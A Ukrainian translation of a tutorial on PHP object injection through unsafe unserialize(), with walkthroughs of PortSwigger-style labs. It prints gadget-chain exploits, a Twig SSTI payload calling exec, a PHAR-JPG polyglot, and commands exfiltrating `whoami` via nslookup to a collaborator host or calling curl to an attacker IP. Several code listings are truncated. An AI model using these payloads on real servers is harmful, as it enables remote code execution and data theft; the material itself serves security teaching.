Серіалізація — це процес перетворення об'єкта у формат, який можна легко зберегти чи передати, наприклад, у вигляді рядка. Цей процес часто використовується в мовах програмування, таких як Java, PHP чи .NET. Зворотний процес, який називається десеріалізацією, дозволяє відновити об'єкт з його серіалізованого формату, повертаючи його до початкового стану.
Щоб зрозуміти, як працює ін'єкція об'єктів в PHP, важливо розібратися в механізмах серіалізації та десеріалізації.
Коли потрібно передати об'єкт через мережу в PHP, використовують функцію serialize()
, яка перетворює об'єкт на рядок:
serialize(): PHP object -> string representing the object.
Щоб відновити об'єкт з серіалізованих даних, використовують функцію unserialize()
:
unserialize(): string with object data -> original object.
Ось приклад серіалізації об'єкта “user”:
$username = 'wr3dmast3r';
$user->role = 'user';
echo serialize($user);
?>
При виконанні цього коду ми отримуємо серіалізований рядок, що представляє об'єкт “user”:
O:4:"User":2:{s:8:"username";s:10:"wr3dmast3r";s:4:"role";s:4:"user";}
Цей рядок містить інформацію про клас, його властивості та їхні значення. Серіалізація дозволяє зберігати об'єкти у файлах, передавати їх через мережу або зберігати в базах даних, що робить її дуже корисною для роботи з даними в додатках.
Отже, серіалізація дозволяє ефективно керувати станами об'єктів, тоді як десеріалізація відновлює їх для подальшого використання.
Структура серіалізованого рядка
Серіалізований рядок у PHP має чітко визначену структуру, яка дозволяє інтерпретувати дані, що він містить. Основний формат цієї структури — “тип даних: дані”. Ось основні позначення типів даних, що використовуються при серіалізації:
b
: тип boolean;i
: ціле число;d
: число з плаваючою комою (float);s
: рядок, де вказана довжина рядка і його фактичне значення:s:LENGTH:"ACTUAL_STRING"
;a
: масив, де вказано кількість елементів і їх вміст:a:NUMBER_OF_ELEMENTS:{ELEMENTS}
;O
: об'єкт, де вказана довжина імені класу, саме ім'я класу, кількість властивостей і їх значення:O:LENGTH:"CLASS_NAME":NUMBER_OF_PROPERTIES:{PROPERTIES}
.
Розглянемо приклад серіалізованого рядка, що представляє об'єкт класу User
:
O:4:"User":2:{s:8:"username";s:10:"wr3dmast3r";s:4:"role";s:4:"user";}
У цьому рядку ми бачимо наступне:
O:4:"User":
вказує на те, що це об'єкт класуUser
, довжина імені класу — 4 символи;2:
означає, що об'єкт має дві властивості;{...}
всередині фігурних дужок перераховуються властивості об'єкта;s:8:"username":
перша властивість —username
, довжина 8 символів;s:10:"wr3dmast3r":
значення властивостіusername
— рядок довжиною 10 символів;s:4:"role":
друга властивість —role
, довжина 4 символи;s:4:"user":
значення властивостіrole
— рядок довжиною 4 символи.
Отже, структура серіалізованого рядка дозволяє точно визначити типи даних і їх значення, що дає можливість відновити об'єкт у його початкову форму під час десеріалізації.
Десеріалізація
Коли необхідно відновити об'єкт із серіалізованого рядка, використовують функцію unserialize()
.
Цей процес дозволяє нам перетворити рядок, що представляє об'єкт, назад у його початковий стан, щоб ми могли взаємодіяти з ним.
Ось приклад:
$username = 'wr3dmast3r';
$user->role = 'user';
$serialized_string = serialize($user);
$unserialized_data = unserialize($serialized_string);
var_dump($unserialized_data);
var_dump($unserialized_data["role"]);
?>
У цьому коді ми спочатку створюємо об'єкт класу User
і встановлюємо його властивості. Потім ми серіалізуємо цей об'єкт за допомогою функції serialize()
, що дозволяє зберегти його стан у вигляді рядка.
Після цього ми використовуємо unserialize()
, щоб відновити об'єкт з серіалізованого рядка. Як результат, змінна $unserialized_data
буде містити об'єкт User
з тими ж значеннями властивостей, що й оригінальний об'єкт.
Як працює unserialize()
"під капотом"?
Важливо зрозуміти, що функція unserialize()
виконує кілька ключових дій, які можуть призвести до вразливостей у додатках. Коли викликається ця функція, вона відновлює об'єкт з серіалізованого рядка, і під час цього процесу можуть бути викликані спеціальні методи, відомі як магічні методи.
Магічні методи в PHP — це функції, що мають спеціальне призначення та поведінку. Вони починаються з подвійних підкреслень і виконують певні дії у відповідь на конкретні події. Більш детально про магічні методи можна дізнатися тут.
Два магічні методи є особливо важливими: __wakeup()
та __destruct()
.
__wakeup()
Цей метод автоматично викликається під час десеріалізації об'єкта. Він може бути використаний для виконання додаткових дій, таких як відновлення стану об'єкта або ініціалізація властивостей, які не були серіалізовані. Наприклад, якщо об'єкт залежить від зовнішніх ресурсів, таких як з'єднання з базою даних, цей метод можна використати для їх повторного підключення.
__destruct()
Цей метод викликається, коли об'єкт знищується. Його можна використовувати для звільнення ресурсів, закриття з'єднань або виконання інших заключних дій. Однак, якщо об'єкт був десеріалізований і потім знищений, цей метод також буде викликаний, що може призвести до непередбачуваних наслідків, якщо в ньому міститься код, який не повинен виконуватись у контексті десеріалізації.
Експлуатація unserialize()
Проблема з unserialize()
виникає, коли ви можете контролювати вхідні дані, що передаються до цієї функції. Це дає можливість потенційно викликати певні функції, що можуть призвести до виконання коду. Наприклад, ви можете створити об'єкт з "payload" (payload) і, якщо клас містить один з "магічних" методів, ви зможете доступити функції всередині цього методу з довільними параметрами.
Створення та робота з об'єктами
Створення екземпляра класу передбачає виділення пам'яті для нового об'єкта на основі визначеного класу. Функція unserialize()
виконує це завдання, приймаючи серіалізований рядок, що містить інформацію про клас і його властивості. На основі цих даних, unserialize()
відновлює копію оригінального серіалізованого об'єкта.
Після відновлення об'єкта функція автоматично шукає і викликає метод __wakeup()
, якщо він визначений у класі. Цей магічний метод призначений для відновлення будь-яких ресурсів, що могли бути втрачені під час серіалізації. Наприклад, він може повторно підключити базу даних або виконати інші дії, необхідні для повторної ініціалізації об'єкта.
Після завершення виконання методу __wakeup()
, програма продовжує працювати з десеріалізованим об'єктом, використовуючи його для виконання різних операцій. Об'єкт може бути використаний для обробки даних, виконання бізнес-логіки або взаємодії з іншими компонентами системи.
Коли об'єкт більше не потрібен і на нього не залишається посилань, автоматично викликається метод __destruct()
. Цей магічний метод відповідає за звільнення ресурсів, пов'язаних з об'єктом, та виконання операцій очищення, таких як закриття з'єднань або очищення пам'яті.
Як результат, об'єкт знищується, а пам'ять, яку він займав, звільняється.
Експлуатація десеріалізації в PHP
Коли ви маєте контроль над серіалізованим об'єктом, переданим до функції unserialize()
, ви можете маніпулювати властивостями створеного об'єкта. Це відкриває можливості для перехоплення потоку виконання додатка, дозволяючи вам контролювати значення, що передаються до автоматично виконуваних методів, таких як __wakeup()
та __destruct()
. Цей процес відомий як ін'єкція об'єкта в PHP.
Приклад маніпуляції змінними
Один із способів експлуатувати небезпечну десеріалізацію — це маніпулювати змінними. Наприклад, можна змінити значення, закодовані в серіалізованому рядку. Розглянемо наступний серіалізований рядок, що представляє об'єкт класу User
:
O:4:"User":2:{s:8:"username";s:10:"wr3dmast3r";s:4:"role";s:4:"user";}
У цьому рядку ви можете спробувати змінити значення властивості role
з "user"
на "admin"
, щоб перевірити, чи надасть додаток адміністративні привілеї:
O:4:"User":2:{s:8:"username";s:10:"wr3dmast3r";s:4:"role";s:5:"admin";}
Якщо додаток не має належних перевірок доступу і покладається на значення з десеріалізованого об'єкта, це може призвести до серйозних вразливостей.
Приклади RCE
PortSwigger — Розробка власного ланцюга гаджетів для десеріалізації PHP
При відвідуванні головної сторінки зверніть увагу на відповідь сервера. Вона може містити посилання на конкретний файл PHP:
Щоб отримати доступ до цього файлу, вам потрібно додати символ ~
в кінець імені файлу. Це зазвичай вказує на резервну копію, створену текстовими редакторами:
Для створення експлойта потрібно зібрати ланцюги гаджетів, які дозволяють виконувати довільний код. Зазвичай це передбачає ідентифікацію початкового гаджету (перший елемент ланцюга, що ініціює виконання) та кінцевого гаджету (останній елемент ланцюга, що виконує довільний код).
CustomTemplate.php:
desc = new Description();
$this->default_desc_type = $desc_type;
// Carlos думав, що це круто, коли функція викликається в двох місцях... Який геній
$this->build_product();
}
public function __sleep() {
return ["default_desc_type", "desc"];
}
public function __wakeup() {
$this->build_product();
}
private function build_product() {
$this->product = new Product($this->default_desc_type, $this->desc);
}
}
class Product {
public $desc;
public function __construct($default_desc_type, $desc) {
$this->desc = $desc->$default_desc_type;
}
}
class Description {
public $HTML_DESC;
public $TEXT_DESC;
public function __construct() {
// @Carlos, що ти думав, коли створював ці описи? Будь ласка, перепиши!
$this->HTML_DESC = '
Цей продукт СУПЕР крутий в HTML
'; $this->TEXT_DESC = 'Цей продукт крутий в текстовому форматі'; } } class DefaultMap { private $callback; public function __construct($callback) { $this->callback = $callback; } public function __get($name) { return call_user_func($this->callback, $name); } } ?> ``` У цьому прикладі магічний метод `__wakeup()` може служити початковим гаджетом. Цей метод викликається, коли серіалізований об'єкт десеріалізується. Оглядаючи код, ми знаходимо рядок `$this->desc = $desc->$default_desc_type;` у конструкторі класу `Product`, який стає ключовою частиною нашого ланцюга. Далі нам потрібно знайти підходящий кінцевий гаджет. Клас `DefaultMap` містить метод `call_user_func`, який може дозволити виконання довільного коду (RCE). Цей метод приймає два параметри: `$this->callback` та `$name`.
Перший параметр вказує на PHP-функцію, яку ми хочемо викликати, а другий — на аргумент, переданий цій функції. Метод `call_user_func` викликається в магічному методі `__get()`, який активується при доступі до невизначеної властивості класу `DefaultMap`. Ім'я зверненої властивості передається як другий параметр, який у нашому випадку буде командою, яку ми хочемо виконати. Крім того, ми можемо встановити значення `$this->callback` у конструкторі класу.
Для експлуатації цієї вразливості потрібно створити об'єкт класу `DefaultMap`, налаштований на використання такої функції, як `exec` або подібної, для виконання нашої команди. Ось приклад:
$exploit = new DefaultMap('exec');
$command = 'ping collaborator.com';
$exploit->$command;
```
Ключовий момент тут полягає в тому, що об'єкт Description
можна встановити в конструкторі класу Product
, зв'язуючи початковий і кінцевий гаджети. Це створює вразливість, що дозволяє виконати довільний код через виклик методу __get()
.
Експлойт:
callback = "exec";
$exploitObject = new CustomTemplate;
$exploitObject->default_desc_type = 'nslookup `whoami`.osky9nbx1joj0hefs8tn9c29i0orci07.oastify.com';
$exploitObject->desc = $exploit;
echo serialize($exploitObject);
?>
У цьому коді ми створюємо об'єкт DefaultMap
, який буде служити кінцевим гаджетом для виконання довільного коду. Ми встановлюємо його властивість callback
на значення exec
, що дозволяє викликати функцію exec
під час десеріалізації.
Далі ми створюємо об'єкт CustomTemplate
та встановлюємо його властивість default_desc_type
. Ця властивість міститиме команду, яку ми хочемо виконати. У цьому випадку команда nslookup 'whoami'.osky9nbx1joj0hefs8tn9c29i0orci07.oastify.com
відправляє запит до DNS-сервера, щоб отримати ім'я користувача, що виконує код, і передає його на вказану адресу. Потім ми призначаємо властивість desc
об'єкта exploitObject
значенню об'єкта exploit
.
Останнім кроком є серіалізація об'єкта exploitObject
і виведення отриманого серіалізованого рядка. Цей рядок можна використати для експлуатації вразливості десеріалізації, що дозволяє виконувати довільний код при відновленні об'єкта.
Створення серіалізованого об'єкта:
Тепер потрібно визначити, як скористатися експлойтом.
При вході в акаунт, Burp Suite виділяє серіалізований об'єкт, знайдений у Cookie
:
Ми кодуємо отриманий об'єкт у формат Base64 і замінюємо знаки =
, якщо це необхідно.
Тоді ми відправляємо payload і отримуємо запит на наш веб-сервер:
Отримуємо запит на наш веб-сервер:
PortSwigger — Використання десеріалізації PHAR для створення власного ланцюга гаджетів
Щоб знайти каталог з кодом, скористаємося функцією Discovery Content:
Discovery Content знаходить кілька PHP файлів:
Давайте подивимося на них.
CustomTemplate.php:
template_file_path = $template_file_path;
}
private function isTemplateLocked() {
return file_exists($this->lockFilePath());
}
public function getTemplate() {
return file_get_contents($this->template_file_path);
}
public function saveTemplate($template) {
if (!isTemplateLocked()) {
if (file_put_contents($this->lockFilePath(), "") === false) {
throw new Exception("Could not write to " . $this->lockFilePath());
}
if (file_put_contents($this->template_file_path, $template) === false) {
throw new Exception("Could not write to " . $this->template_file_path);
}
}
}
function __destruct() {
// Carlos thought this would be a good idea
@unlink($this->lockFilePath());
}
private function lockFilePath()
{
return 'templates/' . $this->template_file_path . '.lock';
}
}
?>
Blog.php:
user = $user;
$this->desc = $desc;
}
public function __toString() {
return $this->twig->render('index', ['user' => $this->user]);
}
public function __wakeup() {
$loader = new Twig_Loader_Array([
'index' => $this->desc,
]);
$this->twig = new Twig_Environment($loader);
}
public function __sleep() {
return ["user", "desc"];
}
}
?>
У файлі CustomTemplate.php
клас CustomTemplate
визначає метод __destruct()
, який автоматично викликається, коли PHP скрипт завершив виконання. Цей метод відповідає за видалення lock-файлу, шлях до якого визначається методом lockFilePath()
, що будується за шаблоном templates/$template_file_path.lock
. Клас також включає метод isTemplateLocked()
, який використовує функцію file_exists()
, щоб перевірити, чи існує lock-файл, таким чином визначаючи, чи заблокований поточний шаблон.
У файлі Blog.php
клас Blog
використовує шаблонізатор Twig. Важливою особливістю є магічний метод __wakeup()
, який викликається під час десеріалізації об'єкта. Коли цей метод спрацьовує, створюється новий об'єкт Twig_Environment
з використанням атрибута desc
класу Blog
як шаблону.
Щоб продемонструвати вразливість SSTI, можна використати payload, який реєструє функцію exec
та виконує команду nslookup
.
Payload для SSTI можна знайти на HackTricks:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("nslookup `whoami`.osky9nbx1joj0hefs8tn9c29i0orci07.oastify.com")}}
Збірка експлойта:
user = 'random';
$exploitBlog->desc = '{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("nslookup `whoami`.osky9nbx1joj0hefs8tn9c29i0orci07.oastify.com")}}';
$exploitObject->template_file_path = $exploitBlog;
?>
У цьому прикладі створюються екземпляри класів CustomTemplate
та Blog
. Ми встановлюємо довільне значення для властивості user
в об'єкті Blog
, а потім призначаємо payload для властивості desc
. Це відкриває можливість експлуатації вразливості SSTI для виконання довільного коду. Зрештою, об'єкт Blog
пов'язується з об'єктом CustomTemplate
, що дозволяє нам виконати команду на сервері. Payload буде встановлено у властивість desc
класу Blog
, після чого він передається до CustomTemplate->template_file_path
.
Експлуатація
Тепер потрібно створити архів PHAR з нашим серіалізованим об'єктом і перетворити все це в JPG. Це можна зробити за допомогою цього репозиторію.
Щоб змінити код створення JPG, потрібно додати наш об'єкт у цей конкретний момент:
Після запуску:
php -c php.ini phar_jpg_polyglot_redacted.php
Ми отримуємо зображення з payload і завантажуємо його на наш профіль.
Зображення завантажено, перевіряємо його місцезнаходження:
Тепер потрібно спровокувати десеріалізацію об'єкта, і PHP надає кілька обгорток, які можна використовувати для роботи з різними протоколами при доступі до файлів. Одна з них — це обгортка phar://
, яка надає інтерфейс потоку для доступу до файлів PHP Archive (.phar). Згідно з документацією PHP, файли PHAR містять серіалізовані метадані. Дуже важливо, що під час виконання операцій з файловою системою в потоці phar://
ці метадані автоматично десеріалізуються. Це означає, що потік phar://
потенційно може бути вектором для експлуатації небезпечної десеріалізації.
Ми змінюємо значення параметра avatar, щоб викликати обгортку phar для десеріалізації нашого об'єкта:
Перевіряємо колаборатора:
Функція завантаження зображень вразлива до SSRF, і ми можемо отримати код додатка.
Читаємо код:
Частина коду, яка нас цікавить, ось тут:
ImageArr;
$SortFunc = $this->SortFunc;
function compareByName($a, $b) {
return strcmp($a[0], $b[0]);
}
function compareByAge($a, $b) {
return strcmp($a[1], $b[1]);
}
usort($ImageArr, $SortFunc);
print_r(json_encode($ImageArr));
}
}
Цей код реалізує клас ImageSorting
, який відповідає за сортування масиву зображень.
Клас має дві основні властивості:
$ImageArr
: масив, в який будуть додаватися зображення для сортування.$SortFunc
: рядок, що вказує функцію сортування, яка за замовчуванням встановлена на "compareByAge".
Клас також включає магічний метод __destruct()
, який автоматично викликається, коли об'єкт знищується. У цьому методі виконуються такі дії:
- Поточні значення властивостей
$ImageArr
та$SortFunc
зберігаються. - Визначаються дві функції порівняння:
compareByName
таcompareByAge
(перша функція сортує масив за назвою зображення, друга — за віком або іншим критерієм, що представлений у другому елементі масиву). - Викликається функція
usort()
, яка сортує масив$ImageArr
, використовуючи функцію, що вказана в$SortFunc
. - Результат сортування виводиться у форматі JSON за допомогою
json_encode()
.
Однак цей код містить вразливість, пов'язану з тим, що значення властивості $SortFunc
можна змінити на будь-який довільний рядок. Наприклад, якщо $SortFunc
встановити в значення "system"
, функція usort()
використовуватиме функцію system()
, що дозволяє виконувати довільні команди на сервері.
Коли об'єкт ImageSorting
знищується (наприклад, наприкінці скрипта), викликається метод __destruct()
, який намагається відсортувати масив $ImageArr
за допомогою функції system()
. Це створює можливість для віддаленого виконання коду на сервері.
Експлойт:
startBuffering();
$exploitObject = new ImageSorting();
$exploitObject->ImageArr = ["curl http://10.127.246.140:8000", ""];
$exploitObject->SortFunc = "system";
$phar->addFromString('test.txt', 'test content');
$phar->setStub('');
$phar->setMetadata($exploitObject);
$phar->stopBuffering();
echo "PHAR archive created: {$pharFile}\n";
?>
У цьому прикладі створюється архів PHAR, що містить об'єкт ImageSorting
. Ми встановлюємо масив $ImageArr
з командою curl
, а потім змінюємо властивість $SortFunc
на "system"
. Це дозволяє функції system()
виконати команду curl
на сервері, коли об'єкт буде знищено, що демонструє вразливість віддаленого виконання коду.
Далі ми хостимо експлойт на нашому веб-сервері і використовуємо SSRF для завантаження файлу:
Використовуючи ту саму вразливість SSRF, ми спонукаємо десеріалізацію завантаженого файлу за допомогою PHAR, що призводить до виконання команди і відправлення запиту curl
на наш сервер:
Підсумовуючи, десеріалізація є потужним інструментом у програмуванні, що дозволяє відновлювати об'єкти з серіалізованих даних. Однак, як показано в цій статті, вона також може створювати серйозні вразливості, якщо її застосовувати без обережності. Небезпечна десеріалізація може призвести до ін'єкцій об'єктів і віддаленого виконання коду, що загрожує безпеці додатків. Щоб знизити ризики, розробники повинні використовувати безпечні методи серіалізації, ретельно перевіряти і фільтрувати вхідні дані, а також уникати десеріалізації даних, отриманих з ненадійних джерел.
Перекладено з: Unsafe Deserialization in PHP: How to Create Your Own Exploit